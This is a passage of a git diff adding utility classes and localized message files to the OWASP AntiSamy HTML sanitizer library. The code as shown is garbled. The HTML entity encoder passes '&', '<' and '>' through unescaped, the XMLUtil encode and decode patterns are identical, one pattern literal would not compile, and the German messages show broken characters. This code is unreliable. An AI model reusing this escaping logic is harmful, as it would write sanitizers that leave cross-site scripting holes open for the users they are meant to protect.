+ public static final String ERROR_CSS_TAG_SELECTOR_DISALLOWED = "error.css.tag.selector.disallowed";
+
+ public static final String ERROR_STYLESHEET_PROPERTY_INVALID = "error.css.stylesheet.property.invalid";
+ public static final String ERROR_CSS_TAG_PROPERTY_INVALID = "error.css.tag.property.invalid";
+
+ private ErrorMessageUtil() {}
+
+ public static String getMessage(ResourceBundle messages, String msgKey, Object[] arguments) {
+ return MessageFormat.format( messages.getString(msgKey), arguments );
+ }
+
+}
diff --git a/src/main/java/org/owasp/validator/html/util/HTMLEntityEncoder.java b/src/main/java/org/owasp/validator/html/util/HTMLEntityEncoder.java
new file mode 100644
index 0000000..8526e1a
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/util/HTMLEntityEncoder.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html.util;
+
+public class HTMLEntityEncoder {
+
+ /**
+ * A helper method for HTML entity-encoding a String value.
+ * @param value A String containing HTML control characters.
+ * @return An HTML-encoded String.
+ */
+ public static String htmlEntityEncode(String value) {
+
+ StringBuffer buff = new StringBuffer();
+
+ if ( value == null ) {
+ return null;
+ }
+
+ for(int i=0;i<value.length();i++) {
+
+ char ch = value.charAt(i);
+
+ if ( ch == '&' ) {
+ buff.append("&");
+ } else if ( ch == '<') {
+ buff.append("<");
+ } else if ( ch == '>') {
+ buff.append(">");
+ } else if ( Character.isWhitespace(ch ) ) {
+ buff.append(ch);
+ } else if ( Character.isLetterOrDigit(ch) ) {
+ buff.append(ch);
+ } else if ( (int)ch >= 32 && (int)ch <= 126 ) {
+ buff.append( "&#" + (int)ch + ";" );
+ }
+
+ }
+
+ return buff.toString();
+
+ }
+}
diff --git a/src/main/java/org/owasp/validator/html/util/URIUtils.java b/src/main/java/org/owasp/validator/html/util/URIUtils.java
new file mode 100644
index 0000000..4542733
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/util/URIUtils.java
@@ -0,0 +1,227 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html.util;
+
+import java.io.File;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.util.Stack;
+import java.util.StringTokenizer;
+
+/**
+ * A utility class for URI handling
+ *
+ * @author <a href="mailto:kvisco-at-intalio.com">Keith Visco</a>
+ **/
+public class URIUtils {
+
+ /**
+ * the File protocol
+ **/
+ private static final String FILE_PROTOCOL_PREFIX = "file:///";
+ /**
+ * the path separator for an URI
+ */
+ private static final char HREF_PATH_SEP = '/';
+ /**
+ * the path separate for a URL as a String
+ */
+ private static final String URL_PATH_SEP_STR = "/";
+ /**
+ * The current directory designator
+ */
+ private static final String CURRENT_DIR_OP = ".";
+ /**
+ * The parent directory designator
+ */
+ private static final String PARENT_DIR_OP = "..";
+
+ /**
+ *
+ **/
+ public static String resolveAsString(String href, String documentBase) {
+
+ try {
+ //-- try to create a new URL and see if MalformedURLExcetion is
+ //-- ever thrown
+ new URL(href);
+ return href;
+ } catch (MalformedURLException muex) {
+ }
+
+
+ //-- join document base + href
+ String absolute = null;
+ if ((documentBase != null) && (documentBase.length() > 0)) {
+ int idx = documentBase.lastIndexOf(HREF_PATH_SEP);
+ if (idx == (documentBase.length() - 1)) {
+ absolute = documentBase + href;
+ } else {
+ absolute = documentBase + HREF_PATH_SEP + href;
+ }
+
+
+ } else {
+ absolute = href;
+ }
+
+
+ try {
+ //-- try to create a new URL and see if MalformedURLExcetion is
+ //-- ever thrown
+
+ if (absolute.indexOf("./") >= 0) {
+ //-- normalize . or .. from URL
+ absolute = normalize(absolute);
+ }
+ new URL(absolute);
+ return absolute;
+ } catch (MalformedURLException muex) {
+ //-- check for unrecognized protocol
+ int idx = absolute.indexOf(':');
+ if (idx >= 0) {
+ String scheme = absolute.substring(0, idx);
+ //-- a bit of a hack, but good enough for now
+ String error = "unknown protocol: " + scheme;
+ if (error.equals(muex.getMessage())) {
+ return absolute;
+ }
+ }
+
+ }
+
+
+ // Try local files
+ String fileURL = absolute;
+ File iFile = new File(href);
+ boolean exists = iFile.exists();
+ fileURL = createFileURL(iFile.getAbsolutePath());
+ if (!iFile.isAbsolute()) {
+ iFile = new File(absolute);
+ if (iFile.exists() || (!exists)) {
+ fileURL = createFileURL(iFile.getAbsolutePath());
+ }
+ }
+
+ //-- one last sanity check
+ try {
+ //-- try to create a new URL and see if MalformedURLExcetion is
+ //-- ever thrown
+ new URL(fileURL);
+ return fileURL;
+ } catch (MalformedURLException muex) {
+ }
+
+ //-- At this point we we're unsucessful at trying to resolve
+ //-- the href + documentbase, this could be due to a custom
+ //-- protocol or typo in the URI, just return documentBase +
+ //-- href
+ return absolute;
+ } //-- resolveHref
+
+ /**
+ * This method removes "." or ".." from absolute URL.
+ * I needed this method because the JDK doesn't do this
+ * automatically when creating URLs.
+ *
+ * @param absoluteURL the absolute URI to normalize
+ */
+ public static String normalize(String absoluteURL)
+ throws MalformedURLException {
+ if (absoluteURL == null) {
+ return absoluteURL;
+ }
+ if (absoluteURL.indexOf('.') < 0) {
+ return absoluteURL;
+ }
+
+ //-- Note: using StringTokenizer and Stacks
+ //-- is not very efficient, this may need
+ //-- some optimizing
+ Stack tokens = new Stack();
+ StringTokenizer st = new StringTokenizer(absoluteURL, URL_PATH_SEP_STR, true);
+ String last = null;
+ while (st.hasMoreTokens()) {
+ String token = st.nextToken();
+ if (URL_PATH_SEP_STR.equals(token)) {
+ if (URL_PATH_SEP_STR.equals(last)) {
+ tokens.push("");
+ }
+ } else if (PARENT_DIR_OP.equals(token)) {
+ if (tokens.empty()) {
+ //-- this should be an error
+ throw new MalformedURLException("invalid absolute URL: " + absoluteURL);
+ }
+ tokens.pop();
+ } else {
+ if (!CURRENT_DIR_OP.equals(token)) {
+ tokens.push(token);
+ }
+ }
+ last = token;
+ }
+
+ //-- rebuild URL
+ StringBuffer buffer = new StringBuffer(absoluteURL.length());
+ for (int i = 0; i < tokens.size(); i++) {
+ if (i > 0) {
+ buffer.append(HREF_PATH_SEP);
+ }
+ buffer.append(tokens.elementAt(i).toString());
+ }
+ return buffer.toString();
+ } //-- normalize
+
+ /**
+ * Creates a File URL for the given file name
+ *
+ * @param filename the name of the file
+ * @return the String representation of the File URL
+ **/
+ private static String createFileURL(String filename) {
+
+ if (filename == null) {
+ return FILE_PROTOCOL_PREFIX;
+ }
+ int size = filename.length() + FILE_PROTOCOL_PREFIX.length();
+ StringBuffer sb = new StringBuffer(size);
+ sb.append(FILE_PROTOCOL_PREFIX);
+ char[] chars = filename.toCharArray();
+ for (int i = 0; i < chars.length; i++) {
+ char ch = chars[i];
+ switch (ch) {
+ case '\\':
+ sb.append(HREF_PATH_SEP);
+ break;
+ default:
+ sb.append(ch);
+ break;
+
+ }
+ }
+ return sb.toString();
+ } //-- createFileURL
+
+}
diff --git a/src/main/java/org/owasp/validator/html/util/XMLUtil.java b/src/main/java/org/owasp/validator/html/util/XMLUtil.java
new file mode 100644
index 0000000..dd6583d
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/util/XMLUtil.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html.util;
+
+import org.w3c.dom.Element;
+import org.w3c.dom.NodeList;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class XMLUtil {
+
+ private static final Pattern encgt = Pattern.compile(">");
+ private static final Pattern enclt = Pattern.compile("<");
+ private static final Pattern encQuot = Pattern.compile(""");
+ private static final Pattern encAmp = Pattern.compile("&");
+
+ private static final Pattern gt = Pattern.compile(">");
+ private static final Pattern lt = Pattern.compile("<");
+ private static final Pattern quot = Pattern.compile("\"");
+ private static final Pattern amp = Pattern.compile("&");
+
+ /**
+ * Helper function for quickly retrieving an attribute from a given
+ * element.
+ * @param ele The document element from which to pull the attribute value.
+ * @param attrName The name of the attribute.
+ * @return The value of the attribute contained within the element
+ */
+ public static String getAttributeValue (Element ele, String attrName) {
+ return decode(ele.getAttribute(attrName));
+ }
+
+ /**
+ * Helper function for quickly retrieving an integer value of a given
+ * XML element.
+ * @param ele The document element from which to pull the integer value.
+ * @param tagName The name of the node.
+ * @return The integer value of the given node in the element passed in.
+ */
+
+ public static int getIntValue(Element ele, String tagName, int defaultValue) {
+
+ int toReturn = defaultValue;
+
+ try {
+ toReturn = Integer.parseInt(getTextValue(ele,tagName));
+ } catch (Throwable t) { }
+
+ return toReturn;
+ }
+
+
+ /**
+ * Helper function for quickly retrieving a String value of a given
+ * XML element.
+ * @param ele The document element from which to pull the String value.
+ * @param tagName The name of the node.
+ * @return The String value of the given node in the element passed in.
+ */
+ public static String getTextValue(Element ele, String tagName) {
+ String textVal = null;
+ NodeList nl = ele.getElementsByTagName(tagName);
+ if(nl != null && nl.getLength() > 0) {
+ Element el = (Element)nl.item(0);
+ if ( el.getFirstChild() != null ) {
+ textVal = el.getFirstChild().getNodeValue();
+ } else {
+ textVal = "";
+ }
+ }
+ return decode(textVal);
+ }
+
+
+ /**
+ * Helper function for quickly retrieving an boolean value of a given
+ * XML element.
+ * @param ele The document element from which to pull the boolean value.
+ * @param tagName The name of the node.
+ * @return The boolean value of the given node in the element passed in.
+ */
+ public static boolean getBooleanValue(Element ele, String tagName) {
+
+ boolean boolVal = false;
+ NodeList nl = ele.getElementsByTagName(tagName);
+
+ if ( nl != null && nl.getLength() > 0 ) {
+ Element el = (Element)nl.item(0);
+ boolVal = el.getFirstChild().getNodeValue().equals("true");
+ }
+
+ return boolVal;
+ }
+
+ /**
+ * Helper function for quickly retrieving an boolean value of a given
+ * XML element, with a default initialization value passed in a parameter.
+ * @param ele The document element from which to pull the boolean value.
+ * @param tagName The name of the node.
+ * @param defaultValue The default value of the node if it's value can't be processed.
+ * @return The boolean value of the given node in the element passed in.
+ */
+ public static boolean getBooleanValue(Element ele, String tagName, boolean defaultValue) {
+
+ boolean boolVal = defaultValue;
+ NodeList nl = ele.getElementsByTagName(tagName);
+
+ if ( nl != null && nl.getLength() > 0 ) {
+
+ Element el = (Element)nl.item(0);
+
+ if ( el.getFirstChild().getNodeValue() != null ) {
+
+ boolVal = "true".equals(el.getFirstChild().getNodeValue());
+
+ } else {
+
+ boolVal = defaultValue;
+
+ }
+ }
+
+ return boolVal;
+ }
+
+
+ /**
+ * Helper function for decode XML entities.
+ *
+ * @param str The XML-encoded String to decode.
+ * @return An XML-decoded String.
+ */
+ public static String decode(String str) {
+
+ if (str == null) {
+ return null;
+ }
+
+ Matcher gtmatcher = encgt.matcher(str);
+ if (gtmatcher.matches()) {
+ str = gtmatcher.replaceAll(">");
+ }
+ Matcher ltmatcher = enclt.matcher(str);
+ if (ltmatcher.matches()) {
+ str = ltmatcher.replaceAll("<");
+ }
+ Matcher quotMatcher = encQuot.matcher(str);
+ if (quotMatcher.matches()) {
+ str = quotMatcher.replaceAll("\"");
+ }
+ Matcher ampMatcher = encAmp.matcher(str);
+ if (ampMatcher.matches()) {
+ str = ampMatcher.replaceAll("&");
+ }
+
+ return str;
+ }
+
+ public static String encode(String str) {
+
+ if (str == null) {
+ return null;
+ }
+
+ Matcher gtMatcher = gt.matcher(str);
+ if (gtMatcher.matches()) {
+ str = gtMatcher.replaceAll(">");
+ }
+ Matcher ltMatcher = lt.matcher(str);
+ if (ltMatcher.matches()) {
+ str = ltMatcher.replaceAll("<");
+ }
+ Matcher quotMatcher = quot.matcher(str);
+ if (quotMatcher.matches()) {
+ str = quotMatcher.replaceAll(""");
+ }
+ Matcher ampMatcher = amp.matcher(str);
+ if (ampMatcher.matches()) {
+ str = ampMatcher.replaceAll("&");
+ }
+
+ return str;
+ }
+}
diff --git a/src/main/resources/AntiSamy_de_DE.properties b/src/main/resources/AntiSamy_de_DE.properties
new file mode 100644
index 0000000..b9a2ef0
--- /dev/null
+++ b/src/main/resources/AntiSamy_de_DE.properties
@@ -0,0 +1,41 @@
+# General
+error.size.toolarge=Zu lange Eingaben. Es wurden {0} Bytes �bertragen - das erlaubte Maximum liegt aber bei {1} Bytes.
+error.comment.removed=Der Kommentar wurde aus Gr�nden der Sicherheit entfernt. Der angegebene Kommentar lautete <u>{0}</u>.
+
+# Tag related
+error.tag.notfound=Der <b>{0}</b> Tag wurde aus Gr�nden der Sicherheit entfernt. Die Inhalte des Tags wurden erhalten.
+error.tag.removed=Der <b>{0}</b> Tag wurde aus Gr�nden der Sicherheit entfernt. Das Entfernen sollte keinen Einfluss auf die Darstellung haben.
+error.tag.filtered=Der <b>{0}</b> Tag wurde aus Gr�nden der Sicherheit entfernt. Die Inhalte des Tags wurden erhalten.
+error.tag.encoded=Der {0} Tag has been encoded for security reasons. The contents of the tag will remain in place.
+error.tag.empty=Der {0} Tag leer war, und daher konnten wir nicht verarbeiten. Der Rest der Nachricht intakt ist, und ihre Entfernung sollte keine Nebenwirkungen.
+error.cdata.found=Ein CDATA-Teil wurde gefunden, der nicht gestattet ist. Der Rest der Nachricht ist intakt, und Entfernung dieses Teil soll keine Nebenwirkungen haben. Der Inhalt des CDATA war \ "{0} \".
+error.pi.found=Ein XML-Befehl wurde gefunden, der nicht gestattet ist. Der Rest der Nachricht ist intakt, und Entfernung dieses Befehl soll keine Nebenwirkungen haben. Der Inhalt der Befehl war \ "{0} \".
+
+# Attribute related
+error.attribute.notfound=Der <b>{0}</b> Tag enth�lt nicht erlaubte Attribute. Das <b>{1}</b> Attribut wurde erfolgreich herausgefiltert.
+error.attribute.invalid=Der <b>{0}</b> Tag enth�lt nicht erlaubte Attribute. Das <b>{1}</b> Attribut hat folgenden Wert: <u>\"{2}\"</u>. Das Attribut wurde entfernt - der Tag und seine Inhalte wurden belassen.
+error.attribute.invalid.filtered=Der <b>{0}</b> Tag enth�lt nicht erlaubte Attribute. Das <b>{1}</b> Attribut hat folgenden Wert: <u>\"{2}\"</u>. Das Attribut wurde entfernt - der Tag <b>{0}</b> und seine Inhalte wurden gefiltert.
+error.attribute.invalid.removed=Der <b>{0}</b> Tag enth�lt nicht erlaubte Attribute. Das <b>{1}</b> Attribut hat folgenden Wert: <u>\"{2}\"</u>. Das Attribut wurde entfernt - der Tag <b>{0}</b> und seine Inhalte wurden entfernt.
+
+# CSS related
+error.css.tag.malformed=The stylesheet code \"{0}\" could not be parsed.
+error.css.import.disabled=Stylesheet-Import ist nicht aktiviert.
+error.css.import.exceeded=Das Stylesheet <b>{0}</b> �bersteigt die maximal erlaubte Anzahl an Stylesheets. Es d�rfen maximal {1} Stylesheets importiert werden.
+error.css.import.failure=Das verlinkte Stylesheet <b>{0}</b> konnte nicht geladen werden. Der entsprechende Server scheint nicht erreichbar zu sein.
+error.css.import.toolarge=Das Stylesheet <b>{0}</b> f�hrt zu unerlaubt gro�em Input. Erlaubt sind maximal {1} Bytes.
+error.css.import.url.invalid=Die URL zum Stylesheet (<u>{0}</u>) konnte aus Gr�nden der Sicherheit nicht verwendet werden.
+
+error.css.stylesheet.relative=Das <b>Stylesheet</b> versucht ein anderes Stylesheet von <u>\"{0}\"</u> nachzuladen. Die Datei kann aber nicht gefunden werden.
+error.css.tag.relative=Das Style-Attribut des <b>{0}</b> Tags versucht ein anderes Stylesheet von <u>\"{1}\"</u> nachzuladen. Die Datei kann aber nicht gefunden werden.
+
+error.css.stylesheet.rule.notfound=Das <b>Stylesheet</b> nutzt die Regel <u>\"{0}\"</u>. Diese wurde aus Gr�nden der Sicherheit entfernt.
+error.css.tag.rule.notfound=Das Style-Attribut des <b>{0}</b> Tags nutzt die Regel <u>\"{1}\"</u>. Diese wurde aus Gr�nden der Sicherheit entfernt.
+
+error.css.stylesheet.selector.notfound=Das <b>Stylesheet</b> nutzt den Selektor <u>\"{0}\"</u>. Dieser wurde aus Gr�nden der Sicherheit entfernt.
+error.css.tag.selector.notfound=Das Style-Attribut des <b>{0}</b> Tags nutzt den Selektor <u>\"{1}\"</u>. Dieser wurde aus Gr�nden der Sicherheit entfernt.
+
+error.css.stylesheet.selector.disallowed=Das <b>Stylesheet</b> verf�gte �ber nicht erlaubte Selektoren: <b>\"{0}\"</b>.
+error.css.tag.selector.disallowed=Der <b>{0}</b> Tag verf�gt �ber nicht erlaubte Selektoren im Style-Attribut: <u>\"{1}\"</u>.
+
+error.css.stylesheet.property.invalid=Die CSS Eigenschaft <b>\"{0}\"</b> ist aus Gr�nden der Sicherheit nicht erlaubt.
+error.css.tag.property.invalid=Der <b>{0}</b> Tag verf�gt �ber nicht erlaubte Eigenschaften im Style-Attribut: <b>\"{1}\"</b>.
\ No newline at end of file
diff --git a/src/main/resources/AntiSamy_en_AU.properties b/src/main/resources/AntiSamy_en_AU.properties
new file mode 100644
index 0000000..04d77c9
--- /dev/null
+++ b/src/main/resources/AntiSamy_en_AU.properties
@@ -0,0 +1,42 @@
+# General
+error.size.toolarge=The input was too large. The specified input was {0} bytes and the maximum is {1} bytes.
+error.comment.removed=The comment field was filtered out for security reasons. The value of the comment field was {0}.
+
+# Tag related
+error.tag.notfound=The {0} tag has been filtered for security reasons. The contents of the tag will remain in place.
+error.tag.removed=The {0} tag is not allowed for security reasons. This tag should not affect the display of the input.
+error.tag.filtered=The {0} tag has been filtered for security reasons. The contents of the tag will remain in place.
+error.tag.encoded=The {0} tag has been encoded for security reasons. The contents of the tag will remain in place.
+error.tag.empty=The {0} tag was empty, and therefore we could not process it. The rest of the message is intact, and its removal should not have any side effects.
+error.cdata.found=A CDATA section was found, which is not allowed. The rest of the message is intact, and its removal should not have any side effects. The contents of the CDATA was \"{0}\".
+error.pi.found=An XML processing instruction was found, which is not allowed. The rest of the message is intact, and its removal should not have any side effects. The contents of the instruction was \"{0}\".
+
+# Attribute related
+error.attribute.notfound=The {0} tag contained an attribute that we could not process. The {1} attribute has been filtered out, but the tag is still in place. The value of the attribute was \"{2}\".
+error.attribute.invalid=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to remove this attribute from the tag and leave everything else in place so that we could process the input.
+error.attribute.invalid.filtered=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to filter the {0} tag in order to continue processing the input.
+error.attribute.invalid.encoded=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to encode the {0} tag in order to continue processing the input.
+error.attribute.invalid.removed=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to remove the entire {0} tag in order to continue processing the input.
+
+# CSS related
+error.css.tag.malformed=The stylesheet code \"{0}\" could not be parsed.
+error.css.import.disabled=Importing of stylesheets has not been enabled.
+error.css.import.exceeded=The stylesheet located at {0} exceeds the total allowed number of stylesheets to be imported and was not retrieved. The maximum number of imported stylesheets is limited to {1} stylesheets.
+error.css.import.failure=The remote stylesheet found within the input, located at {0}, that could not be retrieved. The site may be down or at an unaccessible host. This may not affect the format of the input.
+error.css.import.toolarge=The stylesheet located at {0} causes the total input to be too large and was not imported. The maximum size of all input is limited to {1} bytes.
+error.css.import.url.invalid=The URL for stylesheet import could not be accepted for security reasons. The url was {0}.
+
+error.css.stylesheet.relative=The stylesheet referenced a relative stylesheet, \"{0}\", that could not be retrieved.
+error.css.tag.relative=The {0} tag had a style attribute that specified a relative stylesheet reference, \"{1}\", that could not be retrieved.
+
+error.css.stylesheet.rule.notfound=The stylesheet uses a rule, \"{0}\", that is not supported. The rule has been removed for security reasons.
+error.css.tag.rule.notfound=The {0} tag had a style attribute that uses a rule, \"{1}\", that is not supported. The rule has been removed for security reasons.
+
+error.css.stylesheet.selector.notfound=The stylesheet uses selector, \"{0}\", that could not be processed. The selector has been removed for security reasons.
+error.css.tag.selector.notfound=The {0} tag had a style attribute that uses a selector, \"{1}\", that could not be processed. The selector has been removed for security reasons.
+
+error.css.stylesheet.selector.disallowed=The stylesheet had a selector, \"{0}\", that could not be allowed for security reasons.
+error.css.tag.selector.disallowed=The {0} tag had a style attribute that contained a selector, \"{1}\", that could not be allowed for security reasons.
+
+error.css.stylesheet.property.invalid=The stylesheet had a property, \"{0}\", that could not be allowed for security reasons.
+error.css.tag.property.invalid=The {0} tag had a style attribute, \"{1}\", that could not be allowed for security reasons.
\ No newline at end of file
diff --git a/src/main/resources/AntiSamy_en_CA.properties b/src/main/resources/AntiSamy_en_CA.properties
new file mode 100644
index 0000000..87c6143
--- /dev/null
+++ b/src/main/resources/AntiSamy_en_CA.properties
@@ -0,0 +1,42 @@
+# General
+error.size.toolarge=The input was too large. The specified input was {0} bytes and the maximum is {1} bytes.
+error.comment.removed=The comment field was filtered out for security reasons. The value of the comment field was {0}.
+
+# Tag related
+error.tag.notfound=The {0} tag has been filtered for security reasons. The contents of the tag will remain in place.
+error.tag.removed=The {0} tag is not allowed for security reasons. This tag should not affect the display of the input.
+error.tag.filtered=The {0} tag has been filtered for security reasons. The contents of the tag will remain in place.
+error.tag.encoded=The {0} tag has been encoded for security reasons. The contents of the tag will remain in place.
+error.tag.empty=The {0} tag was empty, and therefore we could not process it. The rest of the message is intact, and its removal should not have any side effects.
+error.cdata.found=A CDATA section was found, which is not allowed. The rest of the message is intact, and its removal should not have any side effects. The contents of the CDATA was \"{0}\".
+error.pi.found=An XML processing instruction was found, which is not allowed. The rest of the message is intact, and its removal should not have any side effects. The contents of the instruction was \"{0}\".
+
+# Attribute related
+error.attribute.notfound=The {0} tag contained an attribute that we could not process. The {1} attribute has been filtered out, but the tag is still in place. The value of the attribute was \"{2}\".
+error.attribute.invalid=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to remove this attribute from the tag and leave everything else in place so that we could process the input.
+error.attribute.invalid.filtered=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to filter the {0} tag in order to continue processing the input.
+error.attribute.invalid.encoded=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to encode the {0} tag in order to continue processing the input.
+error.attribute.invalid.removed=The {0} tag contained an attribute that we could not process. The {1} attribute had a value of \"{2}\". This value could not be accepted for security reasons. We have chosen to remove the entire {0} tag in order to continue processing the input.
+
+# CSS related
+error.css.tag.malformed=The stylesheet code \"{0}\" could not be parsed.
+error.css.import.disabled=Importing of stylesheets has not been enabled.
+error.css.import.exceeded=The stylesheet located at {0} exceeds the total allowed number of stylesheets to be imported and was not retrieved. The maximum number of imported stylesheets is limited to {1} stylesheets.
+error.css.import.failure=The remote stylesheet found within the input, located at {0}, that could not be retrieved. The site may be down or at an unaccessible host. This may not affect the format of the input.
+error.css.import.toolarge=The stylesheet located at {0} causes the total input to be too large and was not imported. The maximum size of all input is limited to {1} bytes.
+error.css.import.url.invalid=The URL for stylesheet import could not be accepted for security reasons. The url was {0}.
+
+error.css.stylesheet.relative=The stylesheet referenced a relative stylesheet, \"{0}\", that could not be retrieved.
+error.css.tag.relative=The {0} tag had a style attribute that specified a relative stylesheet reference, \"{1}\", that could not be retrieved.
+
+error.css.stylesheet.rule.notfound=The stylesheet uses a rule, \"{0}\", that is not supported. The rule has been removed for security reasons.
+error.css.tag.rule.notfound=The {0} tag had a style attribute that uses a rule, \"{1}\", that is not supported. The rule has been removed for security reasons.
+
+error.css.stylesheet.selector.notfound=The stylesheet uses selector, \"{0}\", that could not be processed. The selector has been removed for security reasons.
+error.css.tag.selector.notfound=The {0} tag had a style attribute that uses a selector, \"{1}\", that could not be processed. The selector has been removed for security reasons.
+
+error.css.stylesheet.selector.disallowed=The stylesheet had a selector, \"{0}\", that could not be allowed for security reasons.
+error.css.tag.selector.disallowed=The {0} tag had a style attribute that contained a selector, \"{1}\", that could not be allowed for security reasons.
+
+error.css.stylesheet.property.invalid=The stylesheet had a property, \"{0}\", that could not be allowed for security reasons.
+error.css.tag.property.invalid=The {0} tag had a style attribute, \"{1}\", that could not be allowed for security reasons.
diff --git a/src/main/resources/AntiSamy_en_GB.properties b/src/main/resources/AntiSamy_en_GB.properties
new file mode 100644
index 0000000..04d77c9
--- /dev/null
+++ b/src/main/resources/AntiSamy_en_GB.properties
@@ -0,0 +1,42 @@
+# General
+error.size.toolarge=The input was too large. The specified input was {0} bytes and the maximum is {1} bytes.
+error.comment.removed=The comment field was filtered out for security reasons. The value of the comment field was {0}.
+
+# Tag related
+error.tag.notfound=The {0} tag has been filtered for security reasons. The contents of the tag will remain in place.
+error.tag.removed=The {0} tag is not allowed for security reasons. This tag should not affect the display of the input.
+error.tag.filtered=The {0} tag has been filtered for security reasons. The contents of the tag will remain in place.
+error.tag.encoded=The {0} tag has been encoded for security reasons. The contents of the tag will remain in place.
+error.tag.empty=The {0} tag was empty, and therefore we could not process it. The rest of the message is intact, and its removal should not have any side effects.
+error.cdata.found=A CDATA section was found, which is not allowed. The rest of the message is intact, and its removal should not have any side effects. The contents of the CDATA was \"{0}\".
